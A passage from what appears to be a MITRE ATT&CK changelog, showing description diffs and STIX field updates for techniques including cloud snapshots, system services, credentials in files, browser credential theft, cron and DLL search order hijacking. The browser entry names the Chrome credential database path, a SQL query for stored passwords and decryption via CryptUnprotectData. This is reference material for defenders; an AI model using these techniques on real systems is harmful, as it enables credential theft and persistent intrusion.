| > | tps://attack.mitre.org/techniques/T1536) where an adversary | > | tps://attack.mitre.org/techniques/T1578/004) where an advers | ||
| > | may revert to a snapshot to evade detection and remove evide | > | ary may revert to a snapshot to evade detection and remove e | ||
| > | nce of their presence. An adversary may [Create Cloud Insta | > | vidence of their presence. An adversary may [Create Cloud I | ||
| > | nce](https://attack.mitre.org/techniques/T1578/002), mount o | > | nstance](https://attack.mitre.org/techniques/T1578/002), mou | ||
| > | ne or more created snapshots to that instance, and then appl | > | nt one or more created snapshots to that instance, and then | ||
| > | y a policy that allows the adversary access to the created i | > | apply a policy that allows the adversary access to the creat | ||
| > | nstance, such as a firewall policy that allows them inbound | > | ed instance, such as a firewall policy that allows them inbo | ||
| > | and outbound SSH access.(Citation: Mandiant M-Trends 2020) | > | und and outbound SSH access.(Citation: Mandiant M-Trends 202 | ||
| > | 0) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.293000+00:00 | 2021-03-08 10:33:02.060000+00:00 |
| description | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1536) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) |
| x_mitre_data_sources[0] | GCP audit logs | Snapshot: Snapshot Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Snapshot: Snapshot Creation |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify system-level processes to r | t | 1 | Adversaries may create or modify system-level processes to r |
| > | epeatedly execute malicious payloads as part of persistence. | > | epeatedly execute malicious payloads as part of persistence. | ||
| > | When operating systems boot up, they can start processes th | > | When operating systems boot up, they can start processes th | ||
| > | at perform background system functions. On Windows and Linux | > | at perform background system functions. On Windows and Linux | ||
| > | , these system processes are referred to as services. (Citat | > | , these system processes are referred to as services.(Citati | ||
| > | ion: TechNet Services) On macOS, launchd processes known as | > | on: TechNet Services) On macOS, launchd processes known as [ | ||
| > | [Launch Daemon](https://attack.mitre.org/techniques/T1543/00 | > | Launch Daemon](https://attack.mitre.org/techniques/T1543/004 | ||
| > | 4) and [Launch Agent](https://attack.mitre.org/techniques/T1 | > | ) and [Launch Agent](https://attack.mitre.org/techniques/T15 | ||
| > | 543/001) are run to finish system initialization and load us | > | 43/001) are run to finish system initialization and load use | ||
| > | er specific parameters.(Citation: AppleDocs Launch Agent Dae | > | r specific parameters.(Citation: AppleDocs Launch Agent Daem | ||
| > | mons) Adversaries may install new services, daemons, or ag | > | ons) Adversaries may install new services, daemons, or age | ||
| > | ents that can be configured to execute at startup or a repea | > | nts that can be configured to execute at startup or a repeat | ||
| > | table interval in order to establish persistence. Similarly, | > | able interval in order to establish persistence. Similarly, | ||
| > | adversaries may modify existing services, daemons, or agent | > | adversaries may modify existing services, daemons, or agents | ||
| > | s to achieve the same effect. Services, daemons, or agent | > | to achieve the same effect. Services, daemons, or agents | ||
| > | s may be created with administrator privileges but executed | > | may be created with administrator privileges but executed u | ||
| > | under root/SYSTEM privileges. Adversaries may leverage this | > | nder root/SYSTEM privileges. Adversaries may leverage this f | ||
| > | functionality to create or modify system processes in order | > | unctionality to create or modify system processes in order t | ||
| > | to escalate privileges. (Citation: OSX Malware Detection). | > | o escalate privileges.(Citation: OSX Malware Detection) | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 13:46:29.922000+00:00 | 2022-04-20 16:52:58.415000+00:00 |
| description | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) |
| external_references[1]['source_name'] | TechNet Services | AppleDocs Launch Agent Daemons |
| external_references[1]['description'] | Microsoft. (n.d.). Services. Retrieved June 7, 2016. | Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/library/cc772408.aspx | https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html |
| external_references[2]['source_name'] | AppleDocs Launch Agent Daemons | TechNet Services |
| external_references[2]['description'] | Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. | Microsoft. (n.d.). Services. Retrieved June 7, 2016. |
| external_references[2]['url'] | https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html | https://technet.microsoft.com/en-us/library/cc772408.aspx |
| x_mitre_data_sources[0] | Windows event logs | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | File monitoring | File: File Modification |
| x_mitre_data_sources[3] | Process command-line parameters | Driver: Driver Load |
| x_mitre_data_sources[4] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Service: Service Modification | |
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.475000+00:00 | 2021-04-06 12:31:06.695000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Office 365 account logs | User Account: User Account Authentication |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search local file systems and remote file sh | t | 1 | Adversaries may search local file systems and remote file sh |
| > | ares for files containing insecurely stored credentials. The | > | ares for files containing insecurely stored credentials. The | ||
| > | se can be files created by users to store their own credenti | > | se can be files created by users to store their own credenti | ||
| > | als, shared credential stores for a group of individuals, co | > | als, shared credential stores for a group of individuals, co | ||
| > | nfiguration files containing passwords for a system or servi | > | nfiguration files containing passwords for a system or servi | ||
| > | ce, or source code/binary files containing embedded password | > | ce, or source code/binary files containing embedded password | ||
| > | s. It is possible to extract passwords from backups or save | > | s. It is possible to extract passwords from backups or save | ||
| > | d virtual machines through [OS Credential Dumping](https://a | > | d virtual machines through [OS Credential Dumping](https://a | ||
| > | ttack.mitre.org/techniques/T1003). (Citation: CG 2014) Passw | > | ttack.mitre.org/techniques/T1003). (Citation: CG 2014) Passw | ||
| > | ords may also be obtained from Group Policy Preferences stor | > | ords may also be obtained from Group Policy Preferences stor | ||
| > | ed on the Windows Domain Controller. (Citation: SRD GPP) In | > | ed on the Windows Domain Controller. (Citation: SRD GPP) In | ||
| > | cloud environments, authenticated user credentials are ofte | > | cloud and/or containerized environments, authenticated user | ||
| > | n stored in local configuration and credential files. In som | > | and service account credentials are often stored in local c | ||
| > | e cases, these files can be copied and reused on another mac | > | onfiguration and credential files.(Citation: Unit 42 Hildega | ||
| > | hine or the contents can be read and then used to authentica | > | rd Malware) They may also be found as parameters to deployme | ||
| > | te without needing to copy any files. (Citation: Specter Ops | > | nt commands in container logs.(Citation: Unit 42 Unsecured D | ||
| > | - Cloud Credential Storage) | > | ocker Daemons) In some cases, these files can be copied and | ||
| > | reused on another machine or the contents can be read and th | ||||
| > | en used to authenticate without needing to copy any files.(C | ||||
| > | itation: Specter Ops - Cloud Credential Storage) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 18:30:10.630000+00:00 | 2021-04-12 18:32:32.803000+00:00 |
| description | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage) | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) |
| external_references[4]['source_name'] | Specter Ops - Cloud Credential Storage | Unit 42 Hildegard Malware |
| external_references[4]['description'] | Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019. | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. |
| external_references[4]['url'] | https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | File monitoring | File: File Access |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Unsecured Docker Daemons', 'description': "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'} | |
| external_references | {'source_name': 'Specter Ops - Cloud Credential Storage', 'description': 'Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.', 'url': 'https://posts.specterops.io/head-in-the-clouds-bd038bb69e48'} | |
| x_mitre_contributors | Rory McCune, Aqua Security | |
| x_mitre_contributors | Jay Chen, Palo Alto Networks | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may acquire credentials from web browsers by rea | t | 1 | Adversaries may acquire credentials from web browsers by rea |
| > | ding files specific to the target browser.(Citation: Talos O | > | ding files specific to the target browser.(Citation: Talos O | ||
| > | lympic Destroyer 2018) Web browsers commonly save credential | > | lympic Destroyer 2018) Web browsers commonly save credential | ||
| > | s such as website usernames and passwords so that they do no | > | s such as website usernames and passwords so that they do no | ||
| > | t need to be entered manually in the future. Web browsers ty | > | t need to be entered manually in the future. Web browsers ty | ||
| > | pically store the credentials in an encrypted format within | > | pically store the credentials in an encrypted format within | ||
| > | a credential store; however, methods exist to extract plaint | > | a credential store; however, methods exist to extract plaint | ||
| > | ext credentials from web browsers. For example, on Windows | > | ext credentials from web browsers. For example, on Windows | ||
| > | systems, encrypted credentials may be obtained from Google C | > | systems, encrypted credentials may be obtained from Google C | ||
| > | hrome by reading a database file, <code>AppData\Local\Google | > | hrome by reading a database file, <code>AppData\Local\Google | ||
| > | \Chrome\User Data\Default\Login Data</code> and executing a | > | \Chrome\User Data\Default\Login Data</code> and executing a | ||
| > | SQL query: <code>SELECT action_url, username_value, password | > | SQL query: <code>SELECT action_url, username_value, password | ||
| > | _value FROM logins;</code>. The plaintext password can then | > | _value FROM logins;</code>. The plaintext password can then | ||
| > | be obtained by passing the encrypted credentials to the Wind | > | be obtained by passing the encrypted credentials to the Wind | ||
| > | ows API function <code>CryptUnprotectData</code>, which uses | > | ows API function <code>CryptUnprotectData</code>, which uses | ||
| > | the victim’s cached logon credentials as the decryption key | > | the victim’s cached logon credentials as the decryption key | ||
| > | . (Citation: Microsoft CryptUnprotectData April 2018) Adv | > | .(Citation: Microsoft CryptUnprotectData April 2018) Adver | ||
| > | ersaries have executed similar procedures for common web bro | > | saries have executed similar procedures for common web brows | ||
| > | wsers such as FireFox, Safari, Edge, etc. (Citation: Proofpo | > | ers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint | ||
| > | int Vega Credential Stealer May 2018)(Citation: FireEye Hawk | > | Vega Credential Stealer May 2018)(Citation: FireEye HawkEye | ||
| > | Eye Malware July 2017) Adversaries may also acquire credent | > | Malware July 2017) Windows stores Internet Explorer and Mic | ||
| > | ials by searching web browser process memory for patterns th | > | rosoft Edge credentials in Credential Lockers managed by the | ||
| > | at commonly match credentials.(Citation: GitHub Mimikittenz | > | [Windows Credential Manager](https://attack.mitre.org/techn | ||
| > | July 2016) After acquiring credentials from web browsers, a | > | iques/T1555/004). Adversaries may also acquire credentials | ||
| > | dversaries may attempt to recycle the credentials across dif | > | by searching web browser process memory for patterns that co | ||
| > | ferent systems and/or accounts in order to expand access. Th | > | mmonly match credentials.(Citation: GitHub Mimikittenz July | ||
| > | is can result in significantly furthering an adversary's obj | > | 2016) After acquiring credentials from web browsers, advers | ||
| > | ective in cases where credentials gained from web browsers o | > | aries may attempt to recycle the credentials across differen | ||
| > | verlap with privileged accounts (e.g. domain administrator). | > | t systems and/or accounts in order to expand access. This ca | ||
| > | n result in significantly furthering an adversary's objectiv | ||||
| > | e in cases where credentials gained from web browsers overla | ||||
| > | p with privileged accounts (e.g. domain administrator). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-17 13:20:02.386000+00:00 | 2022-02-15 19:29:57.405000+00:00 |
| description | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). |
| external_references[2]['source_name'] | Microsoft CryptUnprotectData April 2018 | Microsoft CryptUnprotectData April 2018 |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | PowerShell logs | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the <code>cron</code> utility to perfo | t | 1 | Adversaries may abuse the <code>cron</code> utility to perfo |
| > | rm task scheduling for initial or recurring execution of mal | > | rm task scheduling for initial or recurring execution of mal | ||
| > | icious code. The <code>cron</code> utility is a time-based j | > | icious code.(Citation: 20 macOS Common Tools and Techniques) | ||
| > | ob scheduler for Unix-like operating systems. The <code> cr | > | The <code>cron</code> utility is a time-based job scheduler | ||
| > | ontab</code> file contains the schedule of cron entries to b | > | for Unix-like operating systems. The <code> crontab</code> | ||
| > | e run and the specified times for execution. Any <code>cront | > | file contains the schedule of cron entries to be run and th | ||
| > | ab</code> files are stored in operating system-specific file | > | e specified times for execution. Any <code>crontab</code> fi | ||
| > | paths. An adversary may use <code>cron</code> in Linux or | > | les are stored in operating system-specific file paths. An | ||
| > | Unix environments to execute programs at system startup or o | > | adversary may use <code>cron</code> in Linux or Unix environ | ||
| > | n a scheduled basis for persistence. <code>cron</code> can a | > | ments to execute programs at system startup or on a schedule | ||
| > | lso be abused to conduct remote Execution as part of Lateral | > | d basis for [Persistence](https://attack.mitre.org/tactics/T | ||
| > | Movement and or to run a process under the context of a spe | > | A0003). | ||
| > | cified account. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 23:30:46.546000+00:00 | 2022-03-24 17:33:03.443000+00:00 |
| description | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the search order used to load DLLs. Windows systems us | > | cking the search order used to load DLLs. Windows systems us | ||
| > | e a common method to look for required DLLs to load into a p | > | e a common method to look for required DLLs to load into a p | ||
| > | rogram. (Citation: Microsoft Dynamic Link Library Search Ord | > | rogram. (Citation: Microsoft Dynamic Link Library Search Ord | ||
| > | er) Hijacking DLL loads may be for the purpose of establishi | > | er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa | ||
| > | ng persistence as well as elevating privileges and/or evadin | > | ds may be for the purpose of establishing persistence as wel | ||
| > | g restrictions on file execution. There are many ways an ad | > | l as elevating privileges and/or evading restrictions on fil | ||
| > | versary can hijack DLL loads. Adversaries may plant trojan d | > | e execution. There are many ways an adversary can hijack DL | ||
| > | ynamic-link library files (DLLs) in a directory that will be | > | L loads. Adversaries may plant trojan dynamic-link library f | ||
| > | searched before the location of a legitimate library that w | > | iles (DLLs) in a directory that will be searched before the | ||
| > | ill be requested by a program, causing Windows to load their | > | location of a legitimate library that will be requested by a | ||
| > | malicious library when it is called for by the victim progr | > | program, causing Windows to load their malicious library wh | ||
| > | am. Adversaries may also perform DLL preloading, also called | > | en it is called for by the victim program. Adversaries may a | ||
| > | binary planting attacks, (Citation: OWASP Binary Planting) | > | lso perform DLL preloading, also called binary planting atta | ||
| > | by placing a malicious DLL with the same name as an ambiguou | > | cks, (Citation: OWASP Binary Planting) by placing a maliciou | ||
| > | sly specified DLL in a location that Windows searches before | > | s DLL with the same name as an ambiguously specified DLL in | ||
| > | the legitimate DLL. Often this location is the current work | > | a location that Windows searches before the legitimate DLL. | ||
| > | ing directory of the program. Remote DLL preloading attacks | > | Often this location is the current working directory of the | ||
| > | occur when a program sets its current directory to a remote | > | program.(Citation: FireEye fxsst June 2011) Remote DLL prelo | ||
| > | location such as a Web share before loading a DLL. (Citation | > | ading attacks occur when a program sets its current director | ||
| > | : Microsoft Security Advisory 2269637) Adversaries may also | > | y to a remote location such as a Web share before loading a | ||
| > | directly modify the way a program loads DLLs by replacing a | > | DLL. (Citation: Microsoft Security Advisory 2269637) Advers | ||
| > | n existing DLL or modifying a .manifest or .local redirectio | > | aries may also directly modify the search order via DLL redi | ||
| > | n file, directory, or junction to cause the program to load | > | rection, which after being enabled (in the Registry and crea | ||
| > | a different DLL. (Citation: Microsoft Dynamic-Link Library R | > | tion of a redirection file) may cause a program to load a di | ||
| > | edirection) (Citation: Microsoft Manifests) (Citation: FireE | > | fferent DLL.(Citation: Microsoft Dynamic-Link Library Redire | ||
| > | ye DLL Search Order Hijacking) If a search order-vulnerable | > | ction)(Citation: Microsoft Manifests)(Citation: FireEye DLL | ||
| > | program is configured to run at a higher privilege level, t | > | Search Order Hijacking) If a search order-vulnerable progra | ||
| > | hen the adversary-controlled DLL that is loaded will also be | > | m is configured to run at a higher privilege level, then the | ||
| > | executed at the higher level. In this case, the technique c | > | adversary-controlled DLL that is loaded will also be execut | ||
| > | ould be used for privilege escalation from user to administr | > | ed at the higher level. In this case, the technique could be | ||
| > | ator or SYSTEM or from administrator to SYSTEM, depending on | > | used for privilege escalation from user to administrator or | ||
| > | the program. Programs that fall victim to path hijacking ma | > | SYSTEM or from administrator to SYSTEM, depending on the pr | ||
| > | y appear to behave normally because malicious DLLs may be co | > | ogram. Programs that fall victim to path hijacking may appea | ||
| > | nfigured to also load the legitimate DLLs they were meant to | > | r to behave normally because malicious DLLs may be configure | ||
| > | replace. | > | d to also load the legitimate DLLs they were meant to replac | ||
| > | e. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 16:13:58.862000+00:00 | 2021-04-26 18:37:03.748000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL. (Citation: Microsoft Dynamic-Link Library Redirection) (Citation: Microsoft Manifests) (Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library 